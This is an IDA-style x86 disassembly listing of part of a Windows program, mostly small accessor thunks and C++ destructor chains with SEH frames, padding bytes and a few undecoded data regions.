sub_4165D0	proc near		; CODE XREF: sub_401C4Ej
		mov	eax, [ecx]
		retn
sub_4165D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4165F0	proc near		; CODE XREF: sub_401163j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4165F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416610	proc near		; CODE XREF: sub_4015A5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_416610	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416640	proc near		; CODE XREF: sub_4010D7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn	8
sub_416640	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416660	proc near		; CODE XREF: sub_4015E6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_402040
		add	esp, 8
		retn	8
sub_416660	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416690	proc near		; CODE XREF: sub_401D4Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_3
		pop	ecx
		retn	4
sub_416690	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166B0	proc near		; CODE XREF: sub_401357j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4166B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166D0	proc near		; CODE XREF: sub_401F6Ej
		mov	eax, [ecx]
		retn
sub_4166D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166F0	proc near		; CODE XREF: sub_4017D5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4166F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416710	proc near		; CODE XREF: sub_401E9Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_416710	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416740	proc near		; CODE XREF: sub_401857j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn	8
sub_416740	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416760	proc near		; CODE XREF: sub_401DFCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4020CC
		add	esp, 8
		retn	8
sub_416760	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416790	proc near		; CODE XREF: sub_4013F7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_9
		pop	ecx
		retn	4
sub_416790	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167B0	proc near		; CODE XREF: sub_40160Ej

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4167B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167D0	proc near		; CODE XREF: sub_4012CBj
		mov	eax, [ecx]
		retn
sub_4167D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167F0	proc near		; CODE XREF: sub_401E56j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4167F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416820	proc near		; CODE XREF: sub_40125Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41683B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41683B:				; CODE XREF: sub_416820+11j
		retn
sub_416820	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416870	proc near		; CODE XREF: sub_402040j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41688B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41688B:				; CODE XREF: sub_416870+11j
		retn
sub_416870	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168C0	proc near		; CODE XREF: sub_4020CCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_4168DB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_4168DB:				; CODE XREF: sub_4168C0+11j
		retn
sub_4168C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
aRrrrrrrrrrrrrr	db '',1Bh,0
		align 4
		dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 447158B9h
		dd 0B508E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
		dd 41697068h, 0FF6CE800h, 0C3590001h, 90909090h, 4 dup(0CCCCCCCCh)
		dd 447158B9h, 0B2CAE900h, 9090FFFEh, 90909090h,	4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_416990:				; CODE XREF: ___:00401C44j
		push	0FFFFFFFFh
		push	offset loc_439FE1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+9FD83h]
		mov	dword ptr [esp+10h], 1Ah
		call	sub_4021DA
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+10h], 19h
		call	sub_401226
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+10h], 18h
		call	sub_401226
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+10h], 17h
		call	sub_401226
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+10h], 16h
		call	sub_401226
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+10h], 15h
		call	sub_401EE2
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+10h], 14h
		call	sub_40176C
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+10h], 13h
		call	sub_401FF5
		lea	ecx, [esi+9FBCDh]
		mov	byte ptr [esp+10h], 12h
		call	sub_401DED
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+10h], 11h
		call	sub_40187A
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+10h], 10h
		call	sub_401113
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401F28
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401B27
		lea	ecx, [esi+9FA13h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_4017D0
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_4018CA
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401EB0
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_402216
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+10h], 9
		call	sub_4017A3
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+10h], 8
		call	sub_401A23
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+10h], 7
		call	sub_4013C0
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+10h], 6
		call	sub_401235
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+10h], 5
		call	sub_401E83
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+10h], 4
		call	sub_4014F1
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+10h], 3
		call	sub_401AE6
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+10h], 2
		call	sub_401C8F
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+10h], 1
		call	sub_401929
		lea	ecx, [esi+3Eh]
		mov	byte ptr [esp+10h], 0
		call	sub_40143D
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401262
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416C00	proc near		; CODE XREF: sub_401A23j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+15h]
		mov	dword ptr [esi], offset	off_43E050
		test	eax, eax
		jle	short loc_416C17
		push	eax
		nop
		call	near ptr 71AB9639h


loc_416C17:				; CODE XREF: sub_416C00+Ej
		mov	ecx, esi
		call	sub_402031
		pop	esi
		retn
sub_416C00	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416C30:				; CODE XREF: ___:0040126Cj
					; ___:loc_4019BFj
		push	esi
		mov	esi, ecx
		call	sub_401A23
		test	byte ptr [esp+8], 1
		jz	short loc_416C48
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_416C48:				; CODE XREF: ___:00416C3Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416C60	proc near		; CODE XREF: sub_4017A3j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+11h]
		mov	dword ptr [esi], offset	off_43E05C
		test	eax, eax
		jle	short loc_416C77
		push	eax
		nop
		call	near ptr 71AB9639h


loc_416C77:				; CODE XREF: sub_416C60+Ej
		mov	ecx, esi
		call	sub_402031
		pop	esi
		retn
sub_416C60	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416C90:				; CODE XREF: ___:00401627j
					; ___:loc_401C99j
		push	esi
		mov	esi, ecx
		call	sub_4017A3
		test	byte ptr [esp+8], 1
		jz	short loc_416CA8
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_416CA8:				; CODE XREF: ___:00416C9Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416CC0	proc near		; CODE XREF: sub_40176Cj
		mov	dword ptr [ecx], offset	off_43E068
		jmp	sub_402031
sub_416CC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416CE0:				; CODE XREF: ___:loc_40191Aj
					; ___:0040218Aj
		push	esi
		mov	esi, ecx
		call	sub_40176C
		test	byte ptr [esp+8], 1
		jz	short loc_416CF8
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_416CF8:				; CODE XREF: ___:00416CEDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D10	proc near		; CODE XREF: sub_40187Aj
		mov	dword ptr [ecx], offset	off_43E074
		add	ecx, 4
		jmp	sub_401023
sub_416D10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416D30:				; CODE XREF: ___:00401E42j
		push	0FFFFFFFFh
		push	offset loc_43A1C1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+8], esi
		call	sub_40209F
; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Eh]
		mov	dword ptr [esp+14h], 0
		call	sub_4015DC
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+14h], 1
		call	sub_40129E
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+14h], 2
		call	sub_401FFA
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+14h], 3
		call	sub_4019F1
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+14h], 4
		call	sub_40157D
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+14h], 5
		call	sub_401645
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+14h], 6
		call	sub_401776
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+14h], 7
		call	sub_401695
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+14h], 8
		call	sub_401820
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+14h], 9
		call	sub_4016B3
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+14h], 0Ah
		call	sub_401415
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+14h], 0Bh
		call	sub_401302
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+14h], 0Ch
		call	sub_401271
		lea	ecx, [esi+8F51Fh]
		mov	byte ptr [esp+14h], 0Dh
		call	sub_401D11
		lea	ecx, [esi+9FA13h]
		call	sub_4012FD
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+14h], 0Eh
		call	sub_401A7D
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+14h], 0Fh
		call	sub_401285
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+14h], 10h
		call	sub_401CA3
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+14h], 11h
		call	sub_402103
; ---------------------------------------------------------------------------
		db 0C6h
		dd 12142444h, 0FBCD8E8Dh, 0E4E80009h, 8DFFFEA6h, 9FBFF8Eh
		dd 2444C600h, 0F0E81314h, 8DFFFEA8h, 9FC318Eh, 2444C600h
		dd 0BAE81414h, 8DFFFEA1h, 9FC428Eh, 2444C600h, 0B4E81514h
		dd 8DFFFEA1h, 9FD2D8Eh,	2444C600h, 55E81614h, 8DFFFEA5h
		dd 9FD428Eh, 2444C600h,	45E81714h, 8DFFFEA5h, 9FD578Eh
		dd 2444C600h, 35E81814h, 8DFFFEA5h, 9FD6C8Eh, 2444C600h
		dd 25E81914h, 8DFFFEA5h, 8D072444h, 9FD838Eh, 44C65000h
		dd 0E81A1824h, 0FFFEABE6h, 0C244C8Bh, 645EC68Bh, 0D89h
		dd 0C4830000h, 9090C314h, 2 dup(90909090h), 20h	dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_416FB0	proc near		; CODE XREF: sub_401262j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_416FB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401B09
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_416FB0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417020	proc near		; CODE XREF: sub_401929j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417020
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+179Fh]
		mov	[esp+14h+var_4], 3Ch
		call	sub_40206D
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_40206D
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_40206D
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_40206D
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_40206D
		mov	byte ptr [esp+14h+var_4], 37h
		lea	ecx, [esi+0E51h]
		call	sub_401023
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401023
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401023
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401023
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401023
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401023
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401023
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401023
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401023
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401023
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401023
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401023
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401023
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401023
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401023
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401023
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401023
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_401AD2
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_401AD2
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_401AD2
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_401AD2
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_401AD2
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_401AD2
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_401AD2
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_401AD2
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_401AD2
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_401AD2
		mov	byte ptr [esp+14h+var_4], 1Ch
		lea	ecx, [esi+84Eh]
		call	sub_401AD2
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_401AD2
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_401AD2
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_401AD2
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_401AD2
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_401AD2
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_401AD2
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_401AD2
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_401AD2
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_401AD2
		lea	ecx, [esi+574h]
		mov	byte ptr [esp+14h+var_4], 12h
		call	sub_401AD2
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_401AD2
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_401AD2
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_401AD2
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_401AD2
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_401AD2
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_401AD2
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_401AD2
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_401AD2
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_401AD2
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_401AD2
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_401AD2
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_401AD2
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AD2
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AD2
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AD2
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AD2
		mov	byte ptr [esp+14h+var_4], 1
		lea	ecx, [esi+9Bh]
		call	sub_401AD2
		lea	ecx, [esi+52h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AD2
		lea	ecx, [esi+9]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AD2
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417020	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417540	proc near		; CODE XREF: sub_4014F1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417540
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0A3h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417540	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4175E0	proc near		; CODE XREF: sub_401E83j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4175E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+118h]
		mov	[esp+14h+var_4], 5
		call	sub_401023
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4175E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4176B0	proc near		; CODE XREF: sub_401235j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4176B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8D0C0h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+8D036h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+8D008h]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4176B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417770	proc near		; CODE XREF: sub_402216j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417770
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417770	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417830	proc near		; CODE XREF: sub_401EB0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417830
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
